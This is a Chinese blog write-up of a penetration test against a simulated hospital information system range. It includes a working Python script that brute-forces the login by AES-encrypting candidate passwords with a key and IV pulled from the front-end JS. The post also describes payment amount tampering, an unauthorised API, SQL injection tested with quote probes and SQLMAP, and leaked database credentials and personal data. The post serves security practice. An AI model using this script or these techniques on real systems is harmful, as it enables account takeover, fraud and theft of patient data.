当前位置: 首页 > news >正文

记某一次仿真渗透测试

🌸 背景

临近晚上12点无事闲来看看b站上的技术分享,看到了一个大佬搭建的仿真实战靶场。于是第二天拿来看看。在此感谢州弟学安全提供的靶场。

🌸 渗透测试

靶标首页地址:医院信息系统 (HIS)

首页截图如上,可以看到是一个仿真的医院信息系统(HIS)。这里我们正常在渗透测试的时候,需要先进行IP、端口、目录等各种方面的信息收集。

因为这里就是一个仿真靶场,所以无需做其他的信息收集,可以看到这里首页上面存在两个功能:“登录”、“注册”

注册功能先等一下,还是看登录功能点。

🍂 弱口令

这里使用弱口令进行登录:admin/admin,可以看到响应数据包:Invalid credentials,登录了两次发现加密的密码一样:

username=admin&password=mDLaKUQVD%2BWqoG8X4RW0EA%3D%3D
username=admin&password=mDLaKUQVD%2BWqoG8X4RW0EA%3D%3D

一般来说这种加密的方式很大的概率就是base64+AES,如果能在前段的JS代码中找到AES的key、iv,那就可以自己写一个加密的脚本来进行相关爆破。

显然在app.js文件中找到AES的key和iv

这里通过AES在线加密解密,找到了正确的加密模式和相关的填充方式。接下来就是写一个脚本,直接deepseek

from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
import base64
import requests
from urllib.parse import quotedef aes_encrypt(plain_text, key, iv):"""AES-CBC加密函数,使用PKCS7填充"""key_bytes = key.encode('utf-8')iv_bytes = iv.encode('utf-8')cipher = AES.new(key_bytes, AES.MODE_CBC, iv_bytes)padded_data = pad(plain_text.encode('utf-8'), AES.block_size)ciphertext = cipher.encrypt(padded_data)return base64.b64encode(ciphertext).decode('utf-8')# 配置参数
aes_key = "zL&g!bN@2qS*vP$5"
aes_iv = "tE#cV^9mF@r5gH&k"
username = "admin"
password_file = "top6000.txt"  # 密码文件路径# 读取密码文件
try:with open(password_file, 'r', encoding='utf-8') as f:passwords = [line.strip() for line in f.readlines()]if not passwords:print("密码文件为空!")exit()except FileNotFoundError:print(f"错误: 找不到密码文件 {password_file}")exit()
except Exception as e:print(f"读取密码文件出错: {e}")exit()# 请求头配置
headers = {"Host": "111.119.241.115:9090","Accept-Encoding": "gzip, deflate","Accept-Language": "zh-CN,zh;q=0.9","User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36","X-Requested-With": "XMLHttpRequest","Accept": "*/*","Origin": "http://111.119.241.115:9090","Referer": "http://111.119.241.115:9090/","Content-Type": "application/x-www-form-urlencoded; charset=UTF-8","Cookie": "JSESSIONID=F0EAD302A4D415056A2022137E5B0C3D; promoModalShown=true"
}url = "http://111.119.241.115:9090/api/login"print(f"开始尝试 {len(passwords)} 个密码...")
success = Falsefor idx, password in enumerate(passwords, 1):try:# 加密密码并进行URL编码encrypted_password = aes_encrypt(password, aes_key, aes_iv)url_encoded_password = quote(encrypted_password)# 构建请求数据data = f"username={username}&password={url_encoded_password}"# 发送POST请求response = requests.post(url,headers=headers,data=data,timeout=10)print(f"尝试 #{idx}: 密码 '{password}' => 状态码: {response.status_code}")# 检查是否成功if response.status_code == 200:print("\n" + "="*50)print("登录成功!")print(f"账号: {username}")print(f"密码: {password}")print("响应内容:")print(response.text)print("="*50)success = Truebreakexcept requests.exceptions.RequestException as e:print(f"尝试 #{idx} 请求失败: {e}")except Exception as e:print(f"尝试 #{idx} 发生错误: {e}")if not success:print("\n所有密码尝试失败,未找到有效密码")

最终还是拿到了正确的密码:woaiwojia

🌟 支付漏洞

成功进入后台。接下来就是后台逐个功能点进行测试:

随便选择患者,进行挂号,发现生成了一个新的页面用来支付:

这个支付链接可以看到url,最后居然存在一个amount=10,能否直接修改掉?

发现是可以的,因此这里也就存在相应的支付漏洞。当然可以抓包看看生成支付二维码的数据包:

可以看到数据包中存在"registrationFee":10,如果这里改成0.01呢?

可以看到响应数据包中产生了这个订单和对应的金额!

🍂 未授权访问漏洞(无危害)

做了一遍目录扫描,并没有发现什么有价值的信息。看看findsomething吧。

看到了几个接口,进行测试一下:

发现了一个接口地址存在未授权访问漏洞。

🌟 SQL注入漏洞

在后台中找到了一个地址:http://111.119.241.115:9090/api/medical-records/search?keyword=&batchNumber=

发现keyword、batchNumber两个参数似乎存在SQL注入漏洞,当输入一个单引号的时候,出现statucode=500,当输入两个单引号的时候发现statuscode=200

利用SQLMAP进行注入:

需提升level等级

🍂 系统配置信息泄露

点击系统管理中的系统配置:

抓取数据包发现数据包中存在着mysql的配置信息,还有密码。

🌟 敏感信息泄露

点击系统管理->用户与权限,可以看到手机号、姓名、以及部分脱敏的身份证号。

但是在数据包中可以发现用户的个人数据,全部都是明文的数据。

同样在下面的接口也存在敏感信息泄露,点击门诊管理->门诊医生站:

抓取到数据包:

🍂 SQL注入漏洞-2

后面还发现了一个SQL注入漏洞,哦是复盘的时候,看作者wp的结果:

点击住院管理->住院医嘱处理,输入单引号的时候也会报500:

两个单引号的时候就回显正常啦:

http://www.xdnf.cn/news/1292347.html

相关文章:

  • 开发Excel Add-in的心得笔记
  • [系统架构]系统架构基础知识(一)
  • 基于elk实现分布式日志
  • 2025 开源语音合成模型全景解析:从工业级性能到创新架构的技术图谱
  • 我们计划编写一个闲鱼监控脚本,主要功能是监控特定关键词的商品,并在发现新商品时通过钉钉机器人推送通知。
  • LCP 17. 速算机器人
  • 从开发工程师视角看TTS语音合成芯片
  • 基于数据驱动来写提示词(一)
  • 机器学习项目从零到一:加州房价预测模型(PART 3)
  • 【论文笔记】DOC: Improving Long Story Coherence With Detailed Outline Control
  • Excel多级数据结构导入导出工具
  • 2025 环法战车科技对决!维乐 Angel Glide定义舒适新标
  • [AI React Web] E2B沙箱 | WebGPU | 组件树 | 智能重构 | 架构异味检测
  • 面试实战 问题二十九 Java 值传递与引用传递的区别详解
  • 汽车免拆诊断案例 | 2017 款丰田皇冠车行驶中加速时车身偶尔抖动
  • 【国内电子数据取证厂商龙信科技】RAID存储技术
  • 浅谈TLS 混合密钥交换:后量子迁移过渡方案
  • 汽车高位制动灯难达 CIE 标准?OAS 光学软件高效优化破局
  • 【分布式 ID】一文详解美团 Leaf
  • 服务器通过生成公钥和私钥安全登录
  • Spring cloud集成ElastictJob分布式定时任务完整攻略(含snakeyaml报错处理方法)
  • 华为悦盒EC6108V9-1+4G版-盒子有【蓝色USB接口】的特殊刷机说明
  • 机器翻译:学习率调度详解
  • 2025 电赛 C 题完整通关攻略:从单目标定到 2 cm 测距精度的全流程实战
  • 图论理论部分
  • 云计算-OpenStack 实战运维:从组件配置到故障排查(含 RAID、模板、存储管理,网络、存储、镜像、容器等)
  • Python3解释器深度解析与实战教程:从源码到性能优化的全路径探索
  • amis表单较验
  • 数据结构:用数组实现队列(Implementing Queue Using Array)
  • Go 语言函数详解:从基础到高阶的行为逻辑构建